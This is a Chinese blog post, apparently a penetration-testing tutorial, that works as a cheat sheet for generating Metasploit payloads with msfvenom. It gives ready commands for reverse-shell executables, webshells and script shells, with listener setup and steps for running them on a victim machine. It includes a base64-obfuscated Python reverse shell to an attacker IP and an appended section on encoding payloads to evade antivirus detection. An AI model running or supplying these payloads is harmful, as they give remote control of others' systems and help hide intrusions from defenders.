生成msf常用payload

MSFVenom生成Payload实战

msf作为一款强大的漏洞检测工具,如何生成适用于msf的payload以及如何利用是使用msf的关键,今天就主要记录一下常用的payload以及如何使用。生成payload使用的工具是MSFVenom,下面看看他的帮助信息。

在kali下可以使用如下命令列出MSFVenom可以生成的payload列表:

msfvenom -l

生成二进制文件

关于二进制文件,主要介绍适用于Windows、linux、mac操作系统的payload生成与利用。

Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f elf > shell.elf

Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address>LPORT=<Your Port to Connect On> -f macho > shell.macho
如何利用

针对这个部分就以Windows为例,使用上面的命令生成一个exe的payload,命令如下:

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f exe > shell.exe

复制shell.exe到Windows机器,然后kali下开启msf使用如下命令监听4444端口:

msfconsole

use exploit/multi/handler

set PAYLOAD windows/meterpreter/reverse_tcp

set LHOST 192.168.88.128

set LPORT  4444

set ExitOnSession false

exploit -j -z
执行完之后在Windows下执行shell.exe,然后结果如图:

在这里既然使用到了在Windows下执行应用程序,我们就大概盘点一下在Windows执行应用程序的几种方式:

  • 双击运行

  • cmd下运行exe

  • 利用Powershell远程下载执行

  • 利用at或schtasks设置计划任务执行

  • 利用wmic远程命令执行

  • 其他的方式请各位补充


生成webshell脚本

在做web渗透的时候,经常会用到webshell,我们经常用的一句话用菜刀连接,如何使用MSFVenom生成一个可以用msf操作的webshell呢?

PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php

cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php

ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp

WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
如何利用

下面以php为例做一下测试,使用以下命令生成一个webshell:

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.88.128 LPORT=4444 -f raw > shell.php
在kali上使用msf执行下面的命令,监听端口4444:
msfconsole

use exploit/multi/handler

set PAYLOAD php/meterpreter_reverse_tcp

set LHOST 192.168.88.128

set LPORT  4444

set ExitOnSession false

exploit -j -z
将shell.php放在web目录下,使用浏览器访问,或者使用以下命令执行:
php shell.php

脚本shell

关于使用脚本反弹shell的方式,主要以python、bash、perl为例。

Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl
如何使用

下面就以Python为例做一下测试,使用以下命令生成一个脚本:

msfvenom -p cmd/unix/reverse_python LHOST=192.168.88.128 LPORT=4444 -f raw > shell.py
在kali上使用msf执行下面的命令,监听端口4444:

msfconsole

use exploit/multi/handler

set PAYLOAD cmd/unix/reverse_python

set LHOST 192.168.88.128

set LPORT  4444

set ExitOnSession false

exploit -j -z
然后复制shell.py中的内容在linux命令行下执行,如下:
python -c "exec('aW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zICAgICAgOyAgICBob3N0PSIxOTIuMTY4Ljg4LjEyOCIgICAgICA7ICAgIHBvcnQ9NDQ0NCAgICAgIDsgICAgcz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSkgICAgICA7ICAgIHMuY29ubmVjdCgoaG9zdCxwb3J0KSkgICAgICA7ICAgIG9zLmR1cDIocy5maWxlbm8oKSwwKSAgICAgIDsgICAgb3MuZHVwMihzLmZpbGVubygpLDEpICAgICAgOyAgICBvcy5kdXAyKHMuZmlsZW5vKCksMikgICAgICA7ICAgIHA9c3VicHJvY2Vzcy5jYWxsKCIvYmluL2Jhc2giKQ=='.decode('base64'))"
结果如图:


总结

本文的主要内容是关于使用msfvenom生成常用的反向连接的shell,msfvenom可以生成的shell很多,不可能一一列举,这里只是提一下,不好意思又给大家分享了一个水文,请大家凑活看看,有什么建议和意见请下方留言。


### Metasploit Framework (MSF) 生成 Payload 的方法 Metasploit Framework (MSF) 提供了强大的工具 `msfvenom` 来生成 Payload。以下是生成 Payload 的详细说明和使用示例。 #### 使用 `msfvenom` 生成 Payload `msfvenom` 是 MSF 中用于生成 Payload 的独立工具,可以生成多种格式的 Payload,例如可执行文件、脚本等。其基本语法如下: ```bash msfvenom -p <payload> LHOST=<local_host> LPORT=<local_port> -f <output_format> -o <output_file> ``` - `-p`: 指定 Payload 类型。 - `LHOST`: 设置监听地址(通常是攻击机的 IP 地址)。 - `LPORT`: 设置监听端口。 - `-f`: 指定输出格式(如 exe、raw、python、js 等)。 - `-o`: 指定输出文件路径。 #### 示例:生成 Windows 反向 TCP Payload 以下是一个生成 Windows 反向 TCP Payload 的具体示例[^4]: ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -f exe > shell.exe ``` - `-p windows/meterpreter/reverse_tcp`: 使用反向 TCP Payload。 - `LHOST=192.168.1.1`: 设置监听地址为攻击机的 IP。 - `LPORT=1122`: 设置监听端口为 1122。 - `-f exe`: 输出格式为可执行文件。 - `> shell.exe`: 将生成Payload 保存为 `shell.exe` 文件。 #### 配置监听 生成 Payload 后,需要在攻击机上配置监听以接收目标机器的连接。可以使用以下命令启动监听器: ```bash use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set LHOST 192.168.1.1 set LPORT 1122 exploit ``` - `use exploit/multi/handler`: 使用多平台监听模块。 - `set payload windows/meterpreter/reverse_tcp`: 设置与 Payload 匹配的 Payload 类型。 - `set LHOST` 和 `set LPORT`: 设置监听地址和端口。 - `exploit`: 启动监听。 #### 注意事项 - 确保 `LHOST` 和 `LPORT` 的值与生成 Payload 时一致。 - 如果目标系统是 64 位操作系统,可以选择 `windows/x64/meterpreter/reverse_tcp` Payload。 #### 其他常用选项 - `-e`: 指定编码器以避免 Payload 被安全软件检测。 - `-i`: 设置编码器迭代次数。 - `-b`: 指定需要避开的字符(如空字节)。 示例:使用编码器生成 Payload: ```bash msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.1 LPORT=1122 -e x86/shikata_ga_nai -i 3 -f exe > encoded_shell.exe ``` - `-e x86/shikata_ga_nai`: 使用 Shikata Ga Nai 编码器。 - `-i 3`: 设置编码器迭代次数为 3。 ### 总结 通过 `msfvenom` 工具,可以灵活生成适用于不同场景的 Payload,并结合 MSF 的监听模块完成渗透测试任务。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值